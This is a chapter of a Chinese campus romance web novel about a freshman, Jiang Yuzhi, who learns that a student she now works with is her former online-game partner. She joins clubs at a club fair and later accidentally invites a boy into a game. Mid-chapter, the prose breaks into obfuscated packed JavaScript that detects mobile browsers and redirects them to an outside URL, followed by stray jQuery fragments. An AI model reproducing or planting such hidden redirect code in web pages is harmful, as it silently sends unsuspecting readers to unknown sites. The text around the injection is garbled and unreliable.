脑海里面第一个浮起的念头是庆幸。
然后眼前又似乎滑过自己一口气拉黑叶子头像的场景,是她答应陈江上绑情侣关系的那天。
江愉枝不动声色地舒了一口气。
自己乖乖听了司馨的话上大学专门开了一个小号,江愉枝没有以之前的大号进入这个群。
不然才是真正的,彻底的社死,几张嘴都说不清楚百分尴尬,现在她又恰巧疲惫于情感的一些大开大合。
不信邪地又点进去看了一下,又切换成大号对比黑名单里个人详细信息。
企鹅头像,签名,该死的点赞数,全是一模一样的。
蓬文心拍了拍她,示意她看下台上正在长篇大论的某个老师。
他站在台上,调出了二维码让每个来的新生都扫一下,语气里面是她们现在察觉不了真假的淡淡恐吓:“同学们,我们需要统计一下每个专业的参加人数哈。”
“没来的同学互相转告一下。”
“搞些莫名其妙的。”蓬文心手机没电了,现在在手忙脚乱借充电宝。
江愉枝将手机对准二维码,手机转出表格的时候,上面有信息弹出来。
是池骤,公事公办的口吻,甚至好友都没有加,用的是企鹅的发起临时对话。
【zzz:同学你好,下周六安排的是你来负责运动饮料的补给】
【zzz:具体章程要等学姐那边出来,我到时候通知你】
江愉枝轻轻回了一句OK。
对这个她在绑情侣后说了两天话的前男友。
不能轻易地把他和陈江上来比较,他们的关系非要讲的话也不算是恋爱。
刚放高考假的时候江愉枝兴致冲冲地马上去电脑下了一个叫魔法书籍的游戏,全平台宣发稿是类似分手厨房那样的玩法,明目张胆地把一蹭到底的想法做到极致。
两个角色,一个蓝帽一个白帽。
玩法是两个玩家根据顾客的需求一个通过思考决定书籍的文风和题材,一个在旁边迅速移动选择封面和字体,每一项都要处理极其繁杂的分支。
做书的过程从熬纸浆开始,到制皮革、印刷和封订,这种耳目一新的创新性还是在宣发的前两天引起了巨大热潮。
角色设定的是情侣,游戏又内置了联机玩法,玩家需要通过随机或固定搭子来匹配竞赛,获胜者赢奖牌,有一个奖牌数的榜单。
——她和zzz就是这样打随机稀里糊涂地认识的。
他们加了企鹅好友,聊天记录极其简洁,只有“上号”“晚九点”“有人超了”这三种内容。
上号之后就配合默契一斩再斩连登搭子榜第一。
某天池骤心血来潮一样向她申请了情侣的关系,意图她尚不清楚,或许是因为情侣组合是另一个榜单。
之后池骤在打游戏的时候开了麦,又向她QQ申请了情侣关系。
她答应了,但从此再也没有回答过上号,发什么都不理,池骤也再也没主动说话,最后一条消息或许是她解除情侣的消息。
这就是他们,用几句话就能说完的网恋史。
她自己都感觉到一种巨大的荒谬,到底是什么缘分。
难怪她总觉得池骤的声音有一种莫名的熟悉,但又真的想不起来到底是在哪里听过了。
台上的老师滔滔不绝地讲着本校软科战绩,国家特色专业,发表论文数量,而她思绪渐渐柔和地滑到其它地方,从前一天晚上看的他的实况,到他刚刚发出来的消息。
那句:“我喜欢不理我的。”
计划成型了:她准备在之后的马拉松志愿老老实实干事,不要使劲和他搭话尽显谄媚,也不完全置之不理视其空气,既来之则安之吧。
江愉枝摸摸鼻子,最近实在没力气对付各种关系,能逃避一会儿就逃避。
结束之后蓬文心马上收拾东西站起来,小跳起来把背包整理好,神色匆匆地说自己要去一个部门的面试。
她们寝室都报团着坐在一起,性格比较内敛的白露和似乎热衷于搞cos的汤优乐默契地同时看向江愉枝,问她要不要去在小广场开的百团大战看一眼。
刚刚会议的时候也有人猫着腰进来发传单,她手上现在还拿着三张报名表。
索性也并没有什么事,江愉枝欣然答应了,于是现在三个人就出现在百团大战的起点处。
自己其实没有什么真能说得出来的爱好,此刻也是无聊地四处乱看,脸上的无所事事之意都写满了。
汤优乐目标明确,倒是直奔动漫社,走之前还把白露亲手交到了江愉枝手上,语重心长地托付:“天将将大任于斯人也,动漫社需要我去拯救。”
她迅速地融化在人潮窜动的人群里,动漫社的门口瞬时出现一个正在填表单的眼熟人影。
江愉枝和白露面面相觑。
她回忆了一下,想到白露平时喜欢看书,于是主动开口打破沉默:“我们要不要去文学社看看。”
白露眼睛一亮,软声开口:“我正想去!”
文学社的帐篷门口稀稀拉拉的没什么人,摆放的桌子前坐着百无聊赖的学长学姐,一大摞书垒在那里,看见有新人来,坐在中间的学姐霎时如机敏的狼犬一样锁定了她们,扬起热情四溢的笑容:“可以看看我们文学社哈!”
“社内环境良好,氛围融洽,聚集了一波真心喜欢文学的同伴!”
“我们可以在里面创作诗歌,故事接龙,做读书会,项目挺多的,很推荐不想跑跑跳跳的内向朋友们来,”一看就是社中顶梁的学姐口干舌燥地宣传了一大堆,然后猛灌一大口水:“社团活动柜运动量稳居全社团倒数第一!”
仿佛是一个很值得称赞的名头。
但她旁边脸颊微红的白露被这一条瞬间鼓动,已经上前怯怯地寻求报名表了。
学姐的目光转移到江愉枝身上,态度友好,毫无逼迫:“同学你呢,你感兴趣吗?”
她对文学不感兴趣吗,她不知道。
自己小时候爱在妈妈的书房里看书,但自妈妈离开后她再也不想进那个书房了。
妈妈的离去带走了文学的下午,直至书都落灰渐渐生出啃食书页的书虫。
江愉枝的同理心挺高,但是从来不会因为共情做出什么其它举动,只偶尔在日记本里面会写一点情绪十分浓郁的话语,也算不上产出很多。
她轻轻地上前拿了一张报名表,有些犹豫地填写了。
学姐看出了她的不自在,宽慰地对她说:“没关系,这个只是报名,还会再次确认的。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566007|204107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她神情明媚,拍了拍放在桌子前面的宣传语:“文学一旦感召谁,就不会轻易放弃谁的。”*
填完报名表之后江愉枝和白露就兵分两头了,白露说她有个当面验收的包裹需要她亲自过去签字,于是江愉枝就独自一个人在各大社团的部门的帐篷前乱逛。
近些年社会上的舆论都在宣扬如何在大学里面出类拔萃,鼓动内卷的风气愈吹愈烈,不加学分的社团门前都门可罗雀,一些看上去就累的部门反而还在招新中风生水起。
学习部和组织部这一片的土地上面排出一系列长队,江愉枝穿越人群的时候被挤得有点难受。
他们都好厉害,一点都不怕挤。
最后还是随大流地报了一个学校新媒体部门。
她回到了寝室,但脑海里面还停留着刚刚那个新媒部门的男生,态度冷淡地让她填完之后等一轮面试,听口气好像后面还有二轮三轮。
高中班主任老徐经常以一种甜蜜的姿态向她们讲述大学有多么多姿多彩。
被骗了,她一进入大学就被各种繁忙的任务裹挟,这两天才渐渐处理完一些。
江愉枝打开手机,随意地逛一下最近的资讯。
陈江上最近按照她的要求老老实实地一点都没有来打扰她,不知道心里是不是就如她希望的真正放下了。
而她的妈妈,那个昨天发了朋友圈之后也没有回她的消息的人,她们之间的聊天记录还尴尬地停留在,她说妈妈,我考上了你的母校上面。
似乎打定了主意再也不关心她。
自从爸妈离婚之后江愉枝就再也没有见过自己的亲生母亲,生日不祝福,高考不关心,仿佛她就像朋友圈文案她发的那个雨季。
在撒哈拉沙漠里面她洒脱地写下“雨季不再来。”,而江愉枝觉得自己就是雨滴。
不会落下的,在妈妈的生命中被缓慢晒干的雨滴。
江愉枝身子朝后,倒在座椅靠背上面,不知道去做些什么。
脑海里面闪过最近因为军训好久没打开的王者荣耀。
她现在就想要去游戏里面大开杀戒,去砍死烧死那些令她不快的情绪。
简译川前些天告知过她,他们学校好像最近才开始军训,她没去小窗找他。
戴上耳机,打开王者荣耀,点击登录,进入排位。
旁边在线的好友里面一晃闪过陶乐凝,江愉枝的手指按了下去,尝试着想邀请一下她。
没反应,她又点了一次,30秒的时间限制下又连点好多次。
点击速度太快导致她眼睁睁看见陶乐凝的账号延迟着灰掉,然后自己不小心按到了位于下方补位上来的ice,之前简译川的那个朋友,他们在一起打了一局之后加了好友。
按键变色,淡淡惊恐的情绪压过了刚刚的躁郁。
系统的反应是她从来都没见过的灵敏,立刻显示您已邀请了他。
现在能装自己只是按错了然后慌忙跑下线吗,江愉枝整个身子都僵硬了,心中乞求ice千万不要在意她的这个邀请。
千万不要在意!
太尴尬了,自己又不能不体面地跑掉。
但她的乞求无用,深蓝色的组队界面上渐渐浮出来第二个人。
ice还真就这样进来了。